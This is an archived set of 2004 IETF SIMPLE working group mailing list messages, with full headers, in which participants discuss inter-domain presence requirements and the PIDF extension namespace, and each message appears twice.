From simple-admin@ietf.org  Mon Mar  1 00:22:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA05271
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 00:22:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxftG-0001lv-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:22:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxfsP-0001d2-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:22:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxfrZ-0001Sy-00; Mon, 01 Mar 2004 00:21:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxfrS-0004On-NE; Mon, 01 Mar 2004 00:21:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axfqv-0004GR-Rc
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:20:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA05065
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:20:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axfqt-0001Ok-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:20:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axfq1-0001Ic-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:19:34 -0500
Received: from mail1.microsoft.com ([131.107.3.125])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxfpB-00017S-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:18:41 -0500
Received: from inet-vrs-01.redmond.corp.microsoft.com ([157.54.8.27]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Sun, 29 Feb 2004 21:18:01 -0800
Received: from 157.54.6.197 by inet-vrs-01.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sun, 29 Feb 2004 21:18:12 -0800
Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by INET-HUB-06.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Sun, 29 Feb 2004 21:18:09 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Inter-domain Requirements for SIMPLE
Message-ID: <DD07841287D0AD428833021705E0D14E0188540A@RED-MSG-52.redmond.corp.microsoft.com>
Thread-Topic: [Simple] Inter-domain Requirements for SIMPLE
Thread-Index: AcP/Rm47GX5c1y8eTKmCVssXW92aUwABB36w
From: "Orit Levin" <oritl@microsoft.com>
To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: "Robert Sparks" <rsparks@dynamicsoft.com>,
        "IETF SIMPLE WG" <simple@ietf.org>,
        "Avshalom Houri" <AVSHALOM@il.ibm.com>
X-OriginalArrivalTime: 01 Mar 2004 05:18:09.0991 (UTC) FILETIME=[96407570:01C3FF4C]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sun, 29 Feb 2004 21:18:33 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Inline.

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]=20
Sent: Sunday, February 29, 2004 8:33 PM
To: Orit Levin
Cc: Robert Sparks; IETF SIMPLE WG; Avshalom Houri
Subject: Re: [Simple] Inter-domain Requirements for SIMPLE

OK, now I understand.

I think that this is not really the requirement; this is once again=20
really the main requirement here - optimizing message transfer between=20
domains.=20

OL: you are right that this specific new feature (7.1.2) is introduced
in order to build a mechanism to meet requirement 7.3 . That being said,
the draft identifies a number of orthogonal optimization approaches:
7.1.2, 7.2, and 7.3.

What you are proposing is one mechanism for achieving that, but=20
not the only one.

OL: Are you saying that other optimization approaches can be introduced
(I would love to hear and explore each one of them) or are you saying
that a different mechanism for achieving 7.3 can be introduced? (Again,
let's hear/see it.)

-Jonathan R.

Orit Levin wrote:

> The requirement is for the case where a subscription to a group exists
> (i.e. the present information is available at the watchers' domain
> already). Upon getting the permission, a new watcher is added to the
> group and the presence information is delivered to it from its PS
> locally.
>=20
> Hope it clarifies the case,
> Orit.
>=20
> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]=20
> Sent: Saturday, February 28, 2004 7:11 AM
> To: Orit Levin
> Cc: Robert Sparks; IETF SIMPLE WG; Avshalom Houri
> Subject: Re: [Simple] Inter-domain Requirements for SIMPLE
>=20
> Orit,
>=20
> I am still confused on this requirement.
>=20
> It sounds like what you want is for the watcher to find out if he has=20
> permission to subscribe or fetch presence from the presentity, without

> actually subscribing or fetching? In other words, it would be a
request=20
> from the watcher to the presentity to ask the presentity to set an=20
> authorization policy for the watcher, in absence of any specific=20
> subscription. Is that right?
>=20
> If so, what is the motivating use case here?
>=20
> THanks,
> Jonathan R.
>=20
> Orit Levin wrote:
>=20
>=20
>>This requirement attempts to say:
>>
>>A potential watcher asks a presentity to grant access to presentity's
>>presence information, but the watcher (or more precisely, its PS) is
>=20
> not
>=20
>>interested in the presence information being pushed on individual
>=20
> basis
>=20
>>from this point on. In other words, it can be implemented by just
>=20
> adding
>=20
>>the watcher to presentity's ACL. Or in case of groups, adding the
>>requesting watcher to a specific group.
>>
>>Orit.
>>
>>-----Original Message-----
>>From: Robert Sparks [mailto:rsparks@dynamicsoft.com]=20
>>Sent: Wednesday, February 25, 2004 8:48 AM
>>To: Orit Levin
>>Cc: IETF SIMPLE WG; Avshalom Houri
>>Subject: Re: [Simple] Inter-domain Requirements for SIMPLE
>>
>>Orit, Avshalom -
>>
>>Thanks for submitting this draft. You've captured some
>>important thoughts around deploying presence systems that
>>deserve attention. I particularly look forward to the
>>discussions we'll have around section 7.3 (Grouping of
>>Watchers for SHARING of Presence Info).
>>
>>One quick question: I don't understand what you're looking
>>for with the first requirement of 7.1:
>>
>>   o  Presence access: It MUST be possible to request continuous
>>      access to the status of a remote presentity without
>>      "subscribing" to it.
>>
>>Could you explain this a little more?
>>
>>RjS
>>
>>On Mon, 2004-02-23 at 17:33, Orit Levin wrote:
>>
>>
>>>Guys!
>>>We have submitted a requirements document for secure and efficient
>>>transfer of presence information over inter-domain links.
>>>Please, take a look at our thoughts and suggestions:
>>>
>>>
>>
>>
>
http://www.ietf.org/internet-drafts/draft-levin-simple-interdomain-reqs-
>=20
>>00.txt
>>
>>
>>>We look forward to your feedbacks on how we can enhance SIMPLE to
>>>support these directions.
>>>
>>>Thanks,
>>>Orit.
>>
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
>=20
>=20

--=20
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 00:23:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA05364
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 00:23:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxftK-0004bV-AJ
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 00:22:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i215Mwbe017691
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 00:22:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxftK-0004bG-69
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 00:22:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA05289
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 00:22:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxftH-0001m0-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:22:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxfsQ-0001d9-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:22:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxfrZ-0001Sy-00; Mon, 01 Mar 2004 00:21:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxfrS-0004On-NE; Mon, 01 Mar 2004 00:21:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axfqv-0004GR-Rc
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:20:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA05065
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:20:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axfqt-0001Ok-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:20:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axfq1-0001Ic-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:19:34 -0500
Received: from mail1.microsoft.com ([131.107.3.125])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxfpB-00017S-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:18:41 -0500
Received: from inet-vrs-01.redmond.corp.microsoft.com ([157.54.8.27]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Sun, 29 Feb 2004 21:18:01 -0800
Received: from 157.54.6.197 by inet-vrs-01.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sun, 29 Feb 2004 21:18:12 -0800
Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by INET-HUB-06.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Sun, 29 Feb 2004 21:18:09 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Inter-domain Requirements for SIMPLE
Message-ID: <DD07841287D0AD428833021705E0D14E0188540A@RED-MSG-52.redmond.corp.microsoft.com>
Thread-Topic: [Simple] Inter-domain Requirements for SIMPLE
Thread-Index: AcP/Rm47GX5c1y8eTKmCVssXW92aUwABB36w
From: "Orit Levin" <oritl@microsoft.com>
To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: "Robert Sparks" <rsparks@dynamicsoft.com>,
        "IETF SIMPLE WG" <simple@ietf.org>,
        "Avshalom Houri" <AVSHALOM@il.ibm.com>
X-OriginalArrivalTime: 01 Mar 2004 05:18:09.0991 (UTC) FILETIME=[96407570:01C3FF4C]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sun, 29 Feb 2004 21:18:33 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Inline.

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]=20
Sent: Sunday, February 29, 2004 8:33 PM
To: Orit Levin
Cc: Robert Sparks; IETF SIMPLE WG; Avshalom Houri
Subject: Re: [Simple] Inter-domain Requirements for SIMPLE

OK, now I understand.

I think that this is not really the requirement; this is once again=20
really the main requirement here - optimizing message transfer between=20
domains.=20

OL: you are right that this specific new feature (7.1.2) is introduced
in order to build a mechanism to meet requirement 7.3 . That being said,
the draft identifies a number of orthogonal optimization approaches:
7.1.2, 7.2, and 7.3.

What you are proposing is one mechanism for achieving that, but=20
not the only one.

OL: Are you saying that other optimization approaches can be introduced
(I would love to hear and explore each one of them) or are you saying
that a different mechanism for achieving 7.3 can be introduced? (Again,
let's hear/see it.)

-Jonathan R.

Orit Levin wrote:

> The requirement is for the case where a subscription to a group exists
> (i.e. the present information is available at the watchers' domain
> already). Upon getting the permission, a new watcher is added to the
> group and the presence information is delivered to it from its PS
> locally.
>=20
> Hope it clarifies the case,
> Orit.
>=20
> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]=20
> Sent: Saturday, February 28, 2004 7:11 AM
> To: Orit Levin
> Cc: Robert Sparks; IETF SIMPLE WG; Avshalom Houri
> Subject: Re: [Simple] Inter-domain Requirements for SIMPLE
>=20
> Orit,
>=20
> I am still confused on this requirement.
>=20
> It sounds like what you want is for the watcher to find out if he has=20
> permission to subscribe or fetch presence from the presentity, without

> actually subscribing or fetching? In other words, it would be a
request=20
> from the watcher to the presentity to ask the presentity to set an=20
> authorization policy for the watcher, in absence of any specific=20
> subscription. Is that right?
>=20
> If so, what is the motivating use case here?
>=20
> THanks,
> Jonathan R.
>=20
> Orit Levin wrote:
>=20
>=20
>>This requirement attempts to say:
>>
>>A potential watcher asks a presentity to grant access to presentity's
>>presence information, but the watcher (or more precisely, its PS) is
>=20
> not
>=20
>>interested in the presence information being pushed on individual
>=20
> basis
>=20
>>from this point on. In other words, it can be implemented by just
>=20
> adding
>=20
>>the watcher to presentity's ACL. Or in case of groups, adding the
>>requesting watcher to a specific group.
>>
>>Orit.
>>
>>-----Original Message-----
>>From: Robert Sparks [mailto:rsparks@dynamicsoft.com]=20
>>Sent: Wednesday, February 25, 2004 8:48 AM
>>To: Orit Levin
>>Cc: IETF SIMPLE WG; Avshalom Houri
>>Subject: Re: [Simple] Inter-domain Requirements for SIMPLE
>>
>>Orit, Avshalom -
>>
>>Thanks for submitting this draft. You've captured some
>>important thoughts around deploying presence systems that
>>deserve attention. I particularly look forward to the
>>discussions we'll have around section 7.3 (Grouping of
>>Watchers for SHARING of Presence Info).
>>
>>One quick question: I don't understand what you're looking
>>for with the first requirement of 7.1:
>>
>>   o  Presence access: It MUST be possible to request continuous
>>      access to the status of a remote presentity without
>>      "subscribing" to it.
>>
>>Could you explain this a little more?
>>
>>RjS
>>
>>On Mon, 2004-02-23 at 17:33, Orit Levin wrote:
>>
>>
>>>Guys!
>>>We have submitted a requirements document for secure and efficient
>>>transfer of presence information over inter-domain links.
>>>Please, take a look at our thoughts and suggestions:
>>>
>>>
>>
>>
>
http://www.ietf.org/internet-drafts/draft-levin-simple-interdomain-reqs-
>=20
>>00.txt
>>
>>
>>>We look forward to your feedbacks on how we can enhance SIMPLE to
>>>support these directions.
>>>
>>>Thanks,
>>>Orit.
>>
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
>=20
>=20

--=20
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 00:37:34 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06292
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 00:37:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axg7T-0003Oc-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:37:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axg6i-0003IV-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:36:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axg63-0003Bw-00; Mon, 01 Mar 2004 00:36:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axg5x-00063l-J9; Mon, 01 Mar 2004 00:36:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axg5d-00060j-BI
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:35:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06107
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:35:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axg5a-00039m-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:35:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axg4g-00033N-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:34:42 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axg4D-0002wp-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:34:13 -0500
Received: from cs.columbia.edu (UBAHN.dhcp.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i215Y8K0010852
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Mon, 1 Mar 2004 00:34:10 -0500 (EST)
Message-ID: <4042CB54.3080201@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: pidf namespace, was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)
References: <4041F046.7050207@dynamicsoft.com> <40429762.4070101@cs.columbia.edu> <4042BB0A.20908@dynamicsoft.com>
In-Reply-To: <4042BB0A.20908@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 00:34:12 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

According to the RFC editor:

2003/10/29   draft-ietf-impp-cpim-pidf-08.txt
IANA
H. Sugano, S. Fujimoto, G. Klyne, A. Bateman, W. Carr, J. Peterson
Presence Information Data Format (PIDF)
Bytes: 55276

IANA seems to be taken its time, but it seems late to try to change a 
fairly basic part of PIDF at this time.

The only limitation of using targetNamespace that there can't be another 
extension that also defines activity, relationship, etc., just in a 
different namespace. From a practical perspective, this seems like an 
advantage, not a drawback. Having two IETF extensions that use

<foo:activity>
and
<bar:activity>

seems to invite confusion to address non-problems (lack of coordination 
[these are IETF extensions, after all] and shortage of English words).

Jonathan Rosenberg wrote:

> I had forgotten about that bit.
> 
> Actually, the text in PIDF seems wrong to me. Here is what it says:
> 
>  Although the existing PIDF definition allows arbitrary elements to
>    appear in the <status> element, it may be sometimes desirable to
>    standardize extension status elements and their semantics (the
>    meanings of particular statuses, how they should be interpreted). The
>    URN 'urn:ietf:params:xml:ns:pidf:status' has been defined as a
>    namespace URI for extensions standardized by the IETF, and new values
>    in this namespace must be defined by a standards-track RFC.
> 
>    The following example XML Schema defines an extension for <location>
>    presence information, which can have the values of 'home', 'office',
>    or 'car'. If the <location> element were standardized, this document
>    would be made available in an RFC along with information about the
>    use of the extension. These extensions should use the namespace
>    'urn:ietf:params:xml:ns:pidf:status', and each RFC defining an
>    extension should register an extension name within that namespace
>    with IANA.
> 
> This seems to suggest that all extensions actually have the namespace 
> urn:ietf:params:xml:ns:pidf:status, as opposed to being WITHIN that 
> namespace. That interpretation is supported by the example which follows:
> 
>   <?xml version="1.0" encoding="UTF-8"?>
>       <xs:schema targetNamespace="urn:ietf:params:xml:ns:pidf:status"
>            xmlns:tns="urn:ietf:params:xml:ns:pidf:status"
>            xmlns:xs="http://www.w3.org/2001/XMLSchema"
>            elementFormDefault="qualified"
>            attributeFormDefault="unqualified">
> 
> 
> note the target namespace.
> 
> I don't think this is right; each extensions should have its own namespace.
> 
> -Jonathan R.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 00:38:06 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06321
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 00:38:05 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axg7W-0006Vg-P9
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 00:37:38 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i215bcTX025019
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 00:37:38 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axg7W-0006VN-Ft
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 00:37:38 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06309
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 00:37:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axg7T-0003Oi-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:37:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axg6j-0003Id-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:36:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axg63-0003Bw-00; Mon, 01 Mar 2004 00:36:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axg5x-00063l-J9; Mon, 01 Mar 2004 00:36:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axg5d-00060j-BI
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:35:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06107
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:35:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axg5a-00039m-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:35:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axg4g-00033N-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:34:42 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axg4D-0002wp-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:34:13 -0500
Received: from cs.columbia.edu (UBAHN.dhcp.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i215Y8K0010852
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Mon, 1 Mar 2004 00:34:10 -0500 (EST)
Message-ID: <4042CB54.3080201@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: pidf namespace, was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)
References: <4041F046.7050207@dynamicsoft.com> <40429762.4070101@cs.columbia.edu> <4042BB0A.20908@dynamicsoft.com>
In-Reply-To: <4042BB0A.20908@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 00:34:12 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

According to the RFC editor:

2003/10/29   draft-ietf-impp-cpim-pidf-08.txt
IANA
H. Sugano, S. Fujimoto, G. Klyne, A. Bateman, W. Carr, J. Peterson
Presence Information Data Format (PIDF)
Bytes: 55276

IANA seems to be taken its time, but it seems late to try to change a 
fairly basic part of PIDF at this time.

The only limitation of using targetNamespace that there can't be another 
extension that also defines activity, relationship, etc., just in a 
different namespace. From a practical perspective, this seems like an 
advantage, not a drawback. Having two IETF extensions that use

<foo:activity>
and
<bar:activity>

seems to invite confusion to address non-problems (lack of coordination 
[these are IETF extensions, after all] and shortage of English words).

Jonathan Rosenberg wrote:

> I had forgotten about that bit.
> 
> Actually, the text in PIDF seems wrong to me. Here is what it says:
